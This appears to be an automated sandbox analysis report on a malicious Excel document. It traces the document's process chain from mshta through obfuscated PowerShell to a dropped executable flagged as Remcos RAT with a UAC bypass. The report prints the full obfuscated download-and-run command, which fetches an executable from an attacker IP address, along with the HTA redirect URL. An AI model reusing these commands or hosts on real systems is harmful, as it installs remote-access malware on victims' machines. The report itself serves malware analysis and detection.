                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                          Host: hop.fyi
                                          Connection: Keep-Alive
                                          Jul 3, 2024 18:06:54.231539965 CEST641INHTTP/1.1 301 Moved Permanently
                                          Date: Wed, 03 Jul 2024 16:06:54 GMT
                                          Server: Apache
                                          Cache-Control: no-cache, no-store, private
                                          Expires: -1
                                          Upgrade: h2,h2c
                                          Connection: Upgrade, Keep-Alive
                                          Location: http://172.245.135.155/xampp/eg/IEnetCache.hta
                                          Vary: Accept-Encoding
                                          Content-Encoding: gzip
                                          Access-Control-Allow-Origin: *
                                          Content-Length: 218
                                          Keep-Alive: timeout=5, max=75
                                          Content-Type: text/html; charset=UTF-8
                                          Data Raw: 1f 8b 08 00 00 00 00 00 00 03 95 91 3f 0f 82 30 10 c5 77 3f 45 ed c2 04 55 94 68 b4 b0 20 26 4e 1a 83 83 63 85 d3 92 f0 cf 72 18 fd f6 16 6a 42 e2 c6 25 cd 5d 93 eb 7b ef 97 f2 e9 ee 18 c6 d7 53 44 24 16 79 30 e1 a6 11 5d 5c 82 48 cd d8 5f 0b 40 41 12 29 54 03 e8 d3 4b bc b7 d7 94 b0 ff 05 89 58 db f0 6c b3 97 4f 15 dc 15 34 92 92 a4 2a 11 4a fd 6a b6 6d 55 ee 5b dd d2 86 b1 f9 ca 75 dc a5 e7 cc 17 fa 78 1e 7b 8b a2 ae 19 3c d8 21 2a 01 43 91 48 70 24 0a ab b7 19 7c 30 c3 1c 82 33 a4 99 82 04 b3 f2 41 b0 22 e3 24 39 33 22 06 94 0d a4 fc 56 a5 9f 81 e9 cf 84 6b 3e 0d e5 d3 71 6e 34 18 9b 4e 04 ce 2f 9a c9 a3 23 76 ff f2 05 b1 57 52 b8 ae 01 00 00
                                          Data Ascii: ?0w?EUh &NcrjB%]{SD$y0]\H_@A)TKXlO4*JjmU[ux{<!*CHp$|03A"$93"Vk>qn4N/#vWR


                                          Statistics

                                          CPU Usage

                                          Click to jump to process

                                          Memory Usage

                                          Click to jump to process

                                          High Level Behavior Distribution

                                          Click to dive into process behavior distribution

                                          Behavior

                                          Click to jump to process

                                          System Behavior

                                          General

                                          Target ID:0
                                          Start time:12:06:04
                                          Start date:03/07/2024
                                          Path:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                          Wow64 process (32bit):false
                                          Commandline:"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
                                          Imagebase:0x13fa40000
                                          File size:28'253'536 bytes
                                          MD5 hash:D53B85E21886D2AF9815C377537BCAC3
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:high
                                          Has exited:false

                                          General

                                          Target ID:3
                                          Start time:12:06:25
                                          Start date:03/07/2024
                                          Path:C:\Windows\System32\mshta.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\System32\mshta.exe -Embedding
                                          Imagebase:0x13fdb0000
                                          File size:13'824 bytes
                                          MD5 hash:95828D670CFD3B16EE188168E083C3C5
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:high
                                          Has exited:true

                                          General

                                          Target ID:4
                                          Start time:12:06:27
                                          Start date:03/07/2024
                                          Path:C:\Windows\System32\cmd.exe
                                          Wow64 process (32bit):false
                                          Commandline:"C:\Windows\system32\cmd.exe" "/c POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"
                                          Imagebase:0x4a280000
                                          File size:345'088 bytes
                                          MD5 hash:5746BD7E255DD6A8AFA06F7C42C1BA41
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:high
                                          Has exited:true

                                          General

                                          Target ID:6
                                          Start time:12:06:27
                                          Start date:03/07/2024
                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          Wow64 process (32bit):false
                                          Commandline:POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"
                                          Imagebase:0x13f8f0000
                                          File size:443'392 bytes
                                          MD5 hash:A575A7610E5F003CC36DF39E07C4BA7D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:moderate
                                          Has exited:true

                                          General

                                          Target ID:7
                                          Start time:12:06:30
                                          Start date:03/07/2024
                                          Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                          Wow64 process (32bit):false
                                          Commandline:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.cmdline"
                                          Imagebase:0x13fc70000
                                          File size:2'758'280 bytes
                                          MD5 hash:23EE3D381CFE3B9F6229483E2CE2F9E1
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:moderate
                                          Has exited:true

                                          General

                                          Target ID:8
                                          Start time:12:06:31
                                          Start date:03/07/2024
                                          Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES25D9.tmp" "c:\Users\user\AppData\Local\Temp\nsccvpb0\CSC7FE4A73D64AC4B32BC98E072D7992CAF.TMP"
                                          Imagebase:0x13f940000
                                          File size:52'744 bytes
                                          MD5 hash:C877CBB966EA5939AA2A17B6A5160950
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:moderate
                                          Has exited:true

                                          General

                                          Target ID:10
                                          Start time:12:06:39
                                          Start date:03/07/2024
                                          Path:C:\Users\user\AppData\Roaming\igccu.exe
                                          Wow64 process (32bit):false
                                          Commandline:"C:\Users\user\AppData\Roaming\igccu.exe"
                                          Imagebase:0xc30000
                                          File size:3'397'673 bytes
                                          MD5 hash:A2DCC2E9DD81E3A5F6440ED7027A86DA
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Yara matches:
                                          • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000A.00000002.454343233.0000000002660000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000A.00000002.455992808.00000000125FF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000A.00000002.455992808.00000000125FF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000A.00000002.455992808.00000000125FF000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                          Reputation:low
                                          Has exited:true

                                          General

                                          Target ID:13
                                          Start time:12:06:42
                                          Start date:03/07/2024
                                          Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
                                          Wow64 process (32bit):
                                          Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe"
                                          Imagebase:
                                          File size:151'256 bytes
                                          MD5 hash:04C571D6C0F352ADAC5E61F4EBA2665A
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Yara matches:
                                          • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000D.00000002.819744997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000D.00000002.819744997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000D.00000002.819744997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                          • Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000D.00000002.819744997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                          • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000000D.00000002.819744997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                          Reputation:low
                                          Has exited:false

                                          General

                                          Target ID:14
                                          Start time:12:06:42
                                          Start date:03/07/2024
                                          Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                          Wow64 process (32bit):
                                          Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
                                          Imagebase:
                                          File size:2'140'808 bytes
                                          MD5 hash:F8F36858B9405FBE27377FD7E8FEC2F2
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Yara matches:
                                          • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000E.00000002.819788954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000E.00000002.819788954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000E.00000002.819788954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                          • Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000E.00000002.819788954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                          • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000000E.00000002.819788954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                          Reputation:moderate
                                          Has exited:false

                                          General

                                          Target ID:15
                                          Start time:12:06:43
                                          Start date:03/07/2024
                                          Path:C:\Program Files (x86)\Windows Mail\wab.exe
                                          Wow64 process (32bit):true
                                          Commandline:"C:\Program Files (x86)\Windows Mail\wab.exe"
                                          Imagebase:0x340000
                                          File size:516'096 bytes
                                          MD5 hash:EF162817C730DB9355F6C28F2445D206
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Yara matches:
                                          • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                          • Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                          • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                          • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000F.00000002.820272317.0000000000835000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          Reputation:moderate
                                          Has exited:false

                                          General

                                          Target ID:16
                                          Start time:12:06:43
                                          Start date:03/07/2024
                                          Path:C:\Program Files (x86)\Windows Mail\wab.exe
                                          Wow64 process (32bit):
                                          Commandline:"C:\Program Files (x86)\Windows Mail\wab.exe"
                                          Imagebase:
                                          File size:516'096 bytes
                                          MD5 hash:EF162817C730DB9355F6C28F2445D206
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:moderate
                                          Has exited:false

                                          General

                                          Target ID:19
                                          Start time:12:06:51
                                          Start date:03/07/2024
                                          Path:C:\Windows\System32\mshta.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\System32\mshta.exe -Embedding
                                          Imagebase:0x13fb70000
                                          File size:13'824 bytes
                                          MD5 hash:95828D670CFD3B16EE188168E083C3C5
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:high
                                          Has exited:true

                                          General

                                          Target ID:20
                                          Start time:12:06:53
                                          Start date:03/07/2024
                                          Path:C:\Windows\System32\cmd.exe
                                          Wow64 process (32bit):false
                                          Commandline:"C:\Windows\system32\cmd.exe" "/c POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"
                                          Imagebase:0x4aaa0000
                                          File size:345'088 bytes
                                          MD5 hash:5746BD7E255DD6A8AFA06F7C42C1BA41
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:high
                                          Has exited:true

                                          General

                                          Target ID:22
                                          Start time:12:06:53
                                          Start date:03/07/2024
                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          Wow64 process (32bit):false
                                          Commandline:POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"
                                          Imagebase:0x13f1b0000
                                          File size:443'392 bytes
                                          MD5 hash:A575A7610E5F003CC36DF39E07C4BA7D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:23
                                          Start time:12:06:56
                                          Start date:03/07/2024
                                          Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                          Wow64 process (32bit):false
                                          Commandline:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\czjog1ic\czjog1ic.cmdline"
                                          Imagebase:0x13f9a0000
                                          File size:2'758'280 bytes
                                          MD5 hash:23EE3D381CFE3B9F6229483E2CE2F9E1
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:24
                                          Start time:12:06:56
                                          Start date:03/07/2024
                                          Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES85A4.tmp" "c:\Users\user\AppData\Local\Temp\czjog1ic\CSCE6080EA75C65453BAA6F2713EF82B3D.TMP"
                                          Imagebase:0x13f1f0000
                                          File size:52'744 bytes
                                          MD5 hash:C877CBB966EA5939AA2A17B6A5160950
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:25
                                          Start time:12:06:59
                                          Start date:03/07/2024
                                          Path:C:\Users\user\AppData\Roaming\igccu.exe
                                          Wow64 process (32bit):false
                                          Commandline:"C:\Users\user\AppData\Roaming\igccu.exe"
                                          Imagebase:0xc30000
                                          File size:3'397'673 bytes
                                          MD5 hash:A2DCC2E9DD81E3A5F6440ED7027A86DA
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Yara matches:
                                          • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000019.00000002.492194886.00000000022EF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                          Has exited:true

                                          General

                                          Target ID:27
                                          Start time:12:07:01
                                          Start date:03/07/2024
                                          Path:C:\Program Files (x86)\Internet Explorer\iexplore.exe
                                          Wow64 process (32bit):true
                                          Commandline:"C:\Program Files (x86)\Internet Explorer\iexplore.exe"
                                          Imagebase:0x1f0000
                                          File size:815'304 bytes
                                          MD5 hash:8A590F790A98F3D77399BE457E01386A
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Yara matches:
                                          • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001B.00000002.471431780.00000000008F5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                          • Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                          • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                          Has exited:true

                                          Disassembly

                                          Code Analysis

                                          Call Graph

                                          • Entrypoint
                                          • Decryption Function
                                          • Executed
                                          • Not Executed
                                          • Show Help
                                          callgraph 1 Error: Graph is empty

                                          Module: Sheet1

                                          Declaration
                                          LineContent
                                          1

                                          Attribute VB_Name = "Sheet1"

                                          2

                                          Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

                                          3

                                          Attribute VB_GlobalNameSpace = False

                                          4

                                          Attribute VB_Creatable = False

                                          5

                                          Attribute VB_PredeclaredId = True

                                          6

                                          Attribute VB_Exposed = True

                                          7

                                          Attribute VB_TemplateDerived = False

                                          8

                                          Attribute VB_Customizable = True

                                          Module: Sheet2

                                          Declaration
                                          LineContent
                                          1

                                          Attribute VB_Name = "Sheet2"

                                          2

                                          Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

                                          3

                                          Attribute VB_GlobalNameSpace = False

                                          4

                                          Attribute VB_Creatable = False

                                          5

                                          Attribute VB_PredeclaredId = True

                                          6

                                          Attribute VB_Exposed = True

                                          7

                                          Attribute VB_TemplateDerived = False

                                          8

                                          Attribute VB_Customizable = True

                                          Module: Sheet3

                                          Declaration
                                          LineContent
                                          1

                                          Attribute VB_Name = "Sheet3"

                                          2

                                          Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

                                          3

                                          Attribute VB_GlobalNameSpace = False

                                          4

                                          Attribute VB_Creatable = False

                                          5

                                          Attribute VB_PredeclaredId = True

                                          6

                                          Attribute VB_Exposed = True

                                          7

                                          Attribute VB_TemplateDerived = False

                                          8

                                          Attribute VB_Customizable = True

                                          Module: ThisWorkbook

                                          Declaration
                                          LineContent
                                          1

                                          Attribute VB_Name = "ThisWorkbook"

                                          2

                                          Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"

                                          3

                                          Attribute VB_GlobalNameSpace = False

                                          4

                                          Attribute VB_Creatable = False

                                          5

                                          Attribute VB_PredeclaredId = True

                                          6

                                          Attribute VB_Exposed = True

                                          7

                                          Attribute VB_TemplateDerived = False

                                          8

                                          Attribute VB_Customizable = True

                                          Reset < >

                                            Executed Functions

                                            Function 030C0FB9 Relevance: .0, Instructions: 5COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000003.00000003.400829530.00000000030C0000.00000010.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_3_3_30c0000_mshta.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
                                            • Instruction ID: 76b11bb9b1823714f7885572de12b9b521c64dd5b064fba53474f93eb481704a
                                            • Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
                                            • Instruction Fuzzy Hash:
